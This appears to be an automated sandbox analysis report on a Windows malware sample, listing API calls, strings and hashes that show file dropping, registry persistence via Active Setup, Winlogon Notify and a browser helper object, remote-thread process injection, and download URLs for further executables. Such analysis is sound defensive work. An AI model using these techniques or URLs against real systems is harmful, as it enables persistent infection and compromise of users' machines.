Function 00404933 Relevance: 309.2, APIs: 140, Strings: 36, Instructions: 1235stringfileregistryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404940
lstrcat.KERNEL32(?,0041103E), ref: 00404951
lstrcat.KERNEL32(00000000,?), ref: 00404957
CreateMutexA.KERNEL32(00000000,00000000,00407260,00000000,?,0041103E,?,00000104), ref: 00404977
WaitForSingleObject.KERNEL32(00000000,00002710,00000000,00000000,00407260,00000000,?,0041103E,?,00000104), ref: 0040498D
CloseHandle.KERNEL32(?,00000000,00002710,00000000,00000000,00407260,00000000,?,0041103E,?,00000104), ref: 00404999
Sleep.KERNEL32(000007D0,00000000,00000000,00407260,00000000,?,0041103E,?,00000104), ref: 004049A5
SetFileAttributesA.KERNEL32(?,00000080,000007D0,00000000,00000000,00407260,00000000,?,0041103E,?,00000104), ref: 004049B7
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407260,00000000,?,0041103E), ref: 004049CF
WriteFile.KERNEL32(00000000,004072A0,00000800,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000), ref: 00404A01
lstrlen.KERNEL32(?,00000000,004072A0,00000800,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0), ref: 00404A4F
lstrcpy.KERNEL32(?,?), ref: 00404A84
WriteFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?,00000000,?,40000000,00000000), ref: 00404AB4
SetFileTime.KERNEL32(?,?,?,?,?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?), ref: 00404AE6
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,00000000,004072A0,00000800,?,00000000,?,40000000), ref: 00404AF2
RegSetValueExA.ADVAPI32(?,IsInstalled,00000000,00000004,?,00000004,?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00000000), ref: 00404B44
lstrlen.KERNEL32(?,?,IsInstalled,00000000,00000004,?,00000004,?,80000000,00000001,00000000,00000003,00000000,00000000,?,?), ref: 00404B4A
RegSetValueExA.ADVAPI32(?,StubPath,00000000,00000001,?,00000001,?,?,IsInstalled,00000000,00000004,?,00000004,?,80000000,00000001), ref: 00404B62
RegCloseKey.ADVAPI32(?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000,00000000,00407260,00000000,?), ref: 00404B76
RegDeleteKeyA.ADVAPI32(80000001,?), ref: 00404B88

Part of subcall function 004030DE: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,00407AA0,004122B0), ref: 004030FB
Part of subcall function 004030DE: RegQueryValueExA.ADVAPI32(?,SubshellState,00000000,0002001F,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403122
Part of subcall function 004030DE: RegCloseKey.ADVAPI32(0002001F,?,SubshellState,00000000,0002001F,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 0040312F
Part of subcall function 004030DE: RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,00407AA0,004122B0), ref: 00403146
Part of subcall function 004030DE: RegQueryValueExA.ADVAPI32(0002001F,SubshellState,00000000,0002001F,?,0000022A,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 0040316D

RegDeleteValueA.ADVAPI32(00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0,00000000), ref: 00404BAE
RegCloseKey.ADVAPI32(?,00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,000007D0), ref: 00404BBA
lstrcmpiA.KERNEL32(?,?), ref: 00404BF6
lstrcmpiA.KERNEL32(?,?), ref: 00404C0F
SetFileAttributesA.KERNEL32(?,00000080,?,?,00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404C25
DeleteFileA.KERNEL32(?,?,00000080,?,?,00000000,SubshellState,80000001,?,?,?,40000000,00000000,00000000,00000002,00000080), ref: 00404C2B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,00000000,SubshellState,80000001,?,?), ref: 00404C4C
GetFileSize.KERNEL32(00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,00000000,SubshellState,80000001), ref: 00404C64
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,?), ref: 00404C78
ReadFile.KERNEL32(?,00000000,?,?,00000000,00000000,00000000,?,80000000,00000001,00000000,00000003,00000000,00000000,?,?), ref: 00404C9B
lstrcpy.KERNEL32(?,00000000), ref: 00404D1B
lstrcpy.KERNEL32(?,?), ref: 00404D30
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404E8C
lstrcat.KERNEL32(?,0041103E), ref: 00404EA2
lstrcat.KERNEL32(00000000,?), ref: 00404EA8
SetFileAttributesA.KERNEL32(00000000,00000000,?,0041103E,00000080,?,00000104,?,00000000,?,?,00000000,00000000,00000000,?,80000000), ref: 00404EAE
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0041103E,00000080,?,00000104,?,00000000), ref: 00404EC6
WriteFile.KERNEL32(?,0040E640,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104), ref: 00404EFC
SetFileTime.KERNEL32(?,?,?,?,?,0040E640,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404F27
CloseHandle.KERNEL32(?,?,0040E640,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080), ref: 00404F33
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,00000000,?,?,00000000,?,?,?), ref: 00404B0E

Part of subcall function 00401251: RegSetValueExW.ADVAPI32(?,?,00000000,00000001,00411035,00000004), ref: 004012B2

Strings

explorer.exe, xrefs: 00404F5D, 0040581F
mozilla.exe, xrefs: 00405810
tombul.gif, xrefs: 00405790
Startup, xrefs: 00405A78, 00405A81
ConnPred, xrefs: 004055B3, 0040569F
Both, xrefs: 00405AC5
UseExtProfile, xrefs: 004056BE, 00405721
Debugger, xrefs: 0040591A
iexplore.exe, xrefs: 0040581A
ThreadingModel, xrefs: 00405ACE
kernel32.dll, xrefs: 00404F6D, 00404F8C
T, xrefs: 0040564F
UseDflProfile, xrefs: 00405744, 004057A9
;, xrefs: 004057F2
I, xrefs: 00405642
winlogon.exe, xrefs: 00404F42
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}, xrefs: 00405AEC
SubshellState, xrefs: 00404BA8, 004059F8
firefox.exe, xrefs: 00405815
grazie.gif, xrefs: 00405676
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}, xrefs: 00405A35
http://utbidet-ugeas.biz/d/cc, xrefs: 00405600
g00d d0gg, xrefs: 00405B6F, 00405B95, 00405BA5
http://69.50.173.166/gdnOT2424.exe, xrefs: 004056F8
p A, xrefs: 004055DC
opera.exe, xrefs: 00405806
CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32, xrefs: 00405A95
%CommonProgramFiles%\System\, xrefs: 004051AB
winrnt.exe, xrefs: 00405262
StubPath, xrefs: 00404B56, 004058AF
IsInstalled, xrefs: 00404B38, 00405891
DLLName, xrefs: 00405A65
seamonkey.exe, xrefs: 0040580B
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00405579, 004059AE, 004059D4, 00405B42
%AppData%\, xrefs: 00404FAB, 0040508D, 004051C2
h`r@, xrefs: 0040496E

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$Close$Value$Create$Handlelstrcat$AttributesDeleteWritelstrcpy$DirectoryOpenQuerySystemTimelstrcmpilstrlen$MutexObjectReadSingleSizeSleepWait
String ID: %AppData%\$%CommonProgramFiles%\System\$;$Both$CLSID\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}\InProcServer32$ConnPred$DLLName$Debugger$I$IsInstalled$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\{BC84DF00-BC38-9902-8082-6FCBF2D87A0B}$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0D97A4D2-9F3D-E91C-5EAD-E685720E2FCC}$Startup$StubPath$SubshellState$T$ThreadingModel$UseDflProfile$UseExtProfile$explorer.exe$firefox.exe$g00d d0gg$grazie.gif$h`r@$http://69.50.173.166/gdnOT2424.exe$http://utbidet-ugeas.biz/d/cc$iexplore.exe$kernel32.dll$mozilla.exe$opera.exe$p A$seamonkey.exe$tombul.gif$winlogon.exe$winrnt.exe
API String ID: 4274377182-2342620408
Opcode ID: ae81e21a29356197e7d93d0ea1040b51f53f6fdb8ebbb928199e98e848617d92
Instruction ID: 95f2c617460066549a7d62f87e1d991e293c345f820f5df1bc7e303eabba92b6
Opcode Fuzzy Hash: ae81e21a29356197e7d93d0ea1040b51f53f6fdb8ebbb928199e98e848617d92
Instruction Fuzzy Hash: 4F92F970288741BAE730A761CC46F9B7699EF80704F50493FB785B91D2D6BCA8448B6F

Function 0040265F Relevance: 68.9, APIs: 30, Strings: 9, Instructions: 697registrytimesleepCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,00408778,?,00000000), ref: 0040268E
RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,00408778,?,00000000,80000002,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,00408778), ref: 004026C4
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,00412190,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,00408778,?,00000000,80000002), ref: 004026F3
RegQueryValueExA.ADVAPI32(?,Default Flags,00000000,00000000,00412190,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,00408778,?,00000000,80000002), ref: 0040271B
GetSystemTimeAsFileTime.KERNEL32(00412190,?,Default Flags,00000000,00000000,00412190,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,00408778,?,00000000), ref: 00402733
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412190,00000012,00412190,?,Default Flags,00000000,00000000,00412190,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000), ref: 00402766
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412190,00000012,00412190,?,Default Flags,00000000,00000000,00412190,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000), ref: 00402781
GetIpAddrTable.IPHLPAPI(?,00000012,00000000), ref: 004027E0
wsprintfA.USER32 ref: 0040281B
lstrlen.KERNEL32(?,?,%u.%u.%u.%s,00412104,00000000,000F003F,00408778,?,00000000), ref: 00402821

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,?), ref: 00402954
wsprintfA.USER32 ref: 004029C1
wsprintfA.USER32 ref: 004029F2
ExitProcess.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00408778,?,00000000), ref: 00402A31
InternetReadFile.WININET(?,?,00000100,00000000), ref: 00402A51
GetSystemTimeAsFileTime.KERNEL32(00412190,?,?,?,?,?,?,?,?,?,?,?,00408778,?,00000000), ref: 00402AF7
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412190,00000012,00412190,?,?,?), ref: 00402B17
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412190,00000012,00412190,?,?,?), ref: 00402B32
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00408778,?,00000000), ref: 00403022

Part of subcall function 00401625: select.WS2_32(00000000,?,00000000,00000000,?), ref: 004016A3
Part of subcall function 00401625: recv.WS2_32(00000000,?,?,00000002), ref: 004016B3
Part of subcall function 00401625: recv.WS2_32(00000000,?,00000001,00000000), ref: 004016D2

RegCreateKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,Default Flags,00000000,00000003,00412190,00000012,00412190), ref: 00402C40
RegSetValueExA.ADVAPI32(?,g00d d0gg,00000000,00000004,?,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000,?), ref: 00402C6F
RegCloseKey.ADVAPI32(?,?,g00d d0gg,00000000,00000004,?,00000004,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 00402C7A
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412190,00000012,?,Default Flags,00000000,00000003,00412190,00000012,00412190,?,?,?), ref: 00402CA9
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412190,00000012,?,Default Flags,00000000,00000003,00412190,00000012,00412190,?,?,?), ref: 00402CC4
Sleep.KERNEL32(00001388,?,Default Flags,00000000,00000003,00412190,00000012,?,Default Flags,00000000,00000003,00412190,00000012,00412190,?,?), ref: 00402CCE
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412190,00000012,?,?,?,?), ref: 004030A3
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412190,00000012,?,?,?,?), ref: 004030BE
Sleep.KERNEL32(-000927C0,?,Default Flags,00000000,00000000,00412190,00000012,80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy,00000000,00000000,00000000,000F003F,00408778,?,00000000), ref: 004030D4

Part of subcall function 0040211B: lstrcpy.KERNEL32(?,?), ref: 00402158
Part of subcall function 0040211B: GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402C02,00000000,00000000,?,Default Flags,00000000,00000003), ref: 004021E0
Part of subcall function 0040211B: lstrcpy.KERNEL32(?,?), ref: 00402204
Part of subcall function 0040211B: lstrcat.KERNEL32(00000000,?), ref: 0040220A
Part of subcall function 0040211B: lstrcat.KERNEL32(00000000,00000000), ref: 00402210
Part of subcall function 0040211B: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040223F

Strings

g00d d0gg, xrefs: 00402C5A
http://%s.biz/d/N?, xrefs: 004029B5
, xrefs: 00402CD8
%02X, xrefs: 004029E9
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00402C36
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy, xrefs: 00402684, 004026BA
Default Flags, xrefs: 004026ED, 00402710, 00402760, 00402776, 00402B11, 00402B27, 00402CA3, 00402CB9, 0040309D, 004030B3
, xrefs: 00402AA0
%u.%u.%u.%s, xrefs: 00402815

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Value$Time$File$Createwsprintf$Systemlstrcpy$QuerySleeplstrcatrecv$AddrCloseExitInternetPathProcessReadTableTemplstrlenselect
String ID: $ $%02X$%u.%u.%u.%s$Default Flags$SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connection Policy$g00d d0gg$http://%s.biz/d/N?
API String ID: 1970665916-436875747
Opcode ID: 0a94fe8c8a9239de4b7beebdc305c9b2d273767f90513b967f6ecd12a3c5538b
Instruction ID: 63bb0bbfe7c7d9cc37ae593e8b74d1bfbeffdf0d9e5c753dd1b0217088644f60
Opcode Fuzzy Hash: 0a94fe8c8a9239de4b7beebdc305c9b2d273767f90513b967f6ecd12a3c5538b
Instruction Fuzzy Hash: 9252B330A443159ADB30DB25CD8AB9A77B4AB04704F2081FAE549FB2D1D7B99E84CF5C

Function 0040318D Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 177stringprocessmemoryCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004031A3
Process32First.KERNEL32(?,00000128), ref: 004031DE
lstrcmpiA.KERNEL32(00000000,?), ref: 00403239
lstrlen.KERNEL32(?,00000000,?,00000000,?), ref: 00403251
OpenProcess.KERNEL32(0000002A,00000000,?,?,00000000,?,00000000,?), ref: 0040326B
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000001,?), ref: 004032CC
CreateRemoteThread.KERNEL32(00000000,00000000,00001000,00413254,00000128,00000000,00000000), ref: 004032ED
CloseHandle.KERNEL32(00000000,0000002A,00000000,?,?,00000000,?,00000000,?), ref: 004032F6
CloseHandle.KERNEL32(00000000,00000000,0000002A,00000000,?,?,00000000,?,00000000,?), ref: 00403300
VirtualAlloc.KERNEL32(00000000,00000001,08001000,00000004,?,?,00000000,?,00000000,?), ref: 00403318
lstrcpy.KERNEL32(00000000,00000000), ref: 00403322
Process32Next.KERNEL32(?,00000128), ref: 00403385
CloseHandle.KERNEL32 ref: 00403394

Strings

T2A, xrefs: 004032D8, 00403329

Memory Dump Source

Source File: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseHandle$CreateProcess32Virtual$AllocFirstMemoryNextOpenProcessRemoteSnapshotThreadToolhelp32Writelstrcmpilstrcpylstrlen
String ID: T2A
API String ID: 3585601317-2019523081
Opcode ID: 9fc3e1f609d0bb6cc48c961a07cdf8a14b030922415b4cdca5203e943365ea5e
Instruction ID: 0d498c4b157c114e0e64cb6a536b5d7ba074e5f61d63f8cd94b78a514f351688
Opcode Fuzzy Hash: 9fc3e1f609d0bb6cc48c961a07cdf8a14b030922415b4cdca5203e943365ea5e
Instruction Fuzzy Hash: AE518130204301AFD710DF25DD49BAB7AE9FB88705F10843EF685E6191DBB8D915CB5A

Function 004091DE Relevance: 1.6, Strings: 1, Instructions: 358COMMON

Download Yara Rule

Strings

@, xrefs: 004093D9

Memory Dump Source

Source File: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4c8f717c826cf16ac6de480a318cd90fd350a735f292e869bf269883833a7d67
Instruction ID: 2a3d4f3759edfc8bd902bad60b75e0620addfa70aed4b2345ac6c2a4edc195e5
Opcode Fuzzy Hash: 4c8f717c826cf16ac6de480a318cd90fd350a735f292e869bf269883833a7d67
Instruction Fuzzy Hash: A5D105711083429FE714CF28C88176BBBE1AB84354F04862BFAD9A62D2D37DDD45DB4A

Function 0040BA4B Relevance: .6, Instructions: 568COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1231395329.0000000000408000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1231364784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231378795.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231410868.0000000000411000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231427878.0000000000412000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231440679.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1231457639.0000000000416000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d4fadce87f9a62de8e3424b062dbd550e6430686c3f1a88798db9ac4a8dbda0
Instruction ID: fe1b87df574376db241973c0d4ca01d053bad7c73b67e64caab8c7a3df23b40a
Opcode Fuzzy Hash: 5d4fadce87f9a62de8e3424b062dbd550e6430686c3f1a88798db9ac4a8dbda0
Instruction Fuzzy Hash: F912F730508281EAF711D7288C80B6F3A90EB16395F604977E5C6FB2DACF7D9841879E

Function 00404DB4 Relevance: 63.2, APIs: 30, Strings: 6, Instructions: 228registryfilestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104), ref: 00404DBA
GetTempFileNameA.KERNEL32(?,tmp,00000000,?,00000104), ref: 00404DD7
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?,00000104), ref: 00404DF7
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00404E20
CloseHandle.KERNEL32(?,?,?,?,?,00000000), ref: 00404E2C
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,00000000), ref: 00404E48
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00404E8C
lstrcat.KERNEL32(?,0041103E), ref: 00404EA2
lstrcat.KERNEL32(00000000,?), ref: 00404EA8
SetFileAttributesA.KERNEL32(00000000,00000000,?,0041103E,00000080,?,00000104,?,00000000,?,?,00000000,00000000,00000000,?,80000000), ref: 00404EAE
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0041103E,00000080,?,00000104,?,00000000), ref: 00404EC6
WriteFile.KERNEL32(?,0040E640,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104), ref: 00404EFC
SetFileTime.KERNEL32(?,?,?,?,?,0040E640,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00404F27
CloseHandle.KERNEL32(?,?,0040E640,00001400,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080), ref: 00404F33
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0041103E,00000080,?,00000104,?,00000000), ref: 00404F78
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,0041103E,00000080,?), ref: 00404FB0
lstrcat.KERNEL32(?,00000080), ref: 00404FC1
SetFileAttributesA.KERNEL32(00000000,?,00000080,%AppData%\,?,00000104,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?), ref: 00404FC7
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,%AppData%\,?,00000104,?,40000000,00000000), ref: 00404FDF
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,%AppData%\,?,00000104,?,40000000,00000000), ref: 00404FF6
GetTempPathA.KERNEL32(00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,%AppData%\,?,00000104,?), ref: 00405006
lstrcat.KERNEL32(?,00000080), ref: 00405017
SetFileAttributesA.KERNEL32(00000000,?,00000080,00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,%AppData%\), ref: 0040501D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104,?,?,40000000,00000000,00000000), ref: 00405035
GetLastError.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104,?,?,40000000,00000000,00000000), ref: 0040504C
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040507B
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00405092
lstrcat.KERNEL32(?,00000080), ref: 004050A3
SetFileAttributesA.KERNEL32(00000000,?,00000080,%AppData%\,?,00000104,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004050A9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,%AppData%\,?,00000104,?,80000000,00000001), ref: 004050C1
GetTempPathA.KERNEL32(00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,%AppData%\,?,00000104,?), ref: 004050E5
lstrcat.KERNEL32(?,00000080), ref: 004050F6
SetFileAttributesA.KERNEL32(00000000,?,00000080,00000104,?,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,%AppData%\), ref: 004050FC
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104,?,?,40000000,00000000,00000000), ref: 00405114
WriteFile.KERNEL32(00000000,00408840,00005E00,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080,00000104), ref: 00405140
CloseHandle.KERNEL32(?,00000000,00408840,00005E00,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,00000000,?,00000080), ref: 0040514C
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040517C
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040518E
lstrcat.KERNEL32(?,0041103E), ref: 00405199
ExpandEnvironmentStringsA.KERNEL32(%CommonProgramFiles%\System\,?,00000104,?,0041103E,?,00000104), ref: 004051B0
ExpandEnvironmentStringsA.KERNEL32(%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0041103E,?,00000104), ref: 004051C7
RegOpenKeyExA.ADVAPI32(80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0041103E,?,00000104), ref: 004051FE
RegOpenKeyExA.ADVAPI32(80000001,00407220,00000000,00020006,?,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104), ref: 00405220
lstrlen.KERNEL32(?,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?,00000104,?,0041103E,?,00000104), ref: 00405244
RegSetValueExA.ADVAPI32(?,00000000,00000001,?,00000001,?,80000002,00407220,00000000,00020006,?,%AppData%\,?,00000104,%CommonProgramFiles%\System\,?), ref: 0040525D
